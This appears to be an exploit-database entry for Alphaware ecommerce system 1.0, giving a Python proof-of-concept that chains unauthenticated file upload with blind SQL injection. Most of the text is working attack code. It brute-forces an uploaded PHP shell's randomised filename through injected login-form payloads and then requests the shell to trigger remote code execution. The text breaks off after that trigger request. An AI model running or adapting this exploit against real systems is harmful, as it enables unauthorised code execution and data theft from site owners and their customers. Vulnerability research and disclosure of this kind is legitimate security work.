Exploits / Vulnerability Discovered : 2021-03-16 |
Type : webapps |
Platform : php
This exploit / vulnerability Alphaware ecommerce system 1.0 unauthenicated remote code execution (file upload + sql injection) is for educational purposes only and if it is used you will do on your own risk!
# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.
# We combine this issue with an sql injection to retrieve the randomised name of our uploaded php shell.
# --- Proof of concept --- #
#!/usr/bin/python3
import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
def trigger_shell_sqli(target_ip,product_id):
target_file_name = ''
url = 'http://{}/alphaware/function/admin_login.php'.format(target_ip)
print("(+) Now setting up our sqli for file name guessing ..")
# STEP 1: Get length of target column in database ..
for i in range(1, 200):
payload = {'enter':'','username':"' or {}=(select char_length(product_image) from product where product_id = {})#".format(i, product_id)}
r2 = requests.post(url, data=payload, allow_redirects=False)
# STEP 2: successful sqli will be indicated by a redirect.. setting up our blind based file name guessing. :-)
if str(r2.status_code) == '302':
print("(+) Initial sqli successful, got length of our target file name!")
print("(+) Now for the filename.. ", end = '')
for j in range(1, i+1):
for brutechar in range(32, 126):
payload = {'enter':'','username':"' or '{}'=(SELECT substring((SELECT product_image from product where product_id = {}),{},1))#".format(chr(brutechar),product_id,j)}
r3 = requests.post(url, data=payload, allow_redirects=False)
if str(r3.status_code) == '302':
target_file_name = target_file_name + chr(brutechar)
print(chr(brutechar), end = '')
sys.stdout.flush()
break
url = 'http://{}/alphaware/photo/{}.php'.format(target_ip,target_file_name.split('.')[0])
print("\r\n(+) Trying to trigger shell by requesting {} ..".format(url))
r4 = requests.get(url)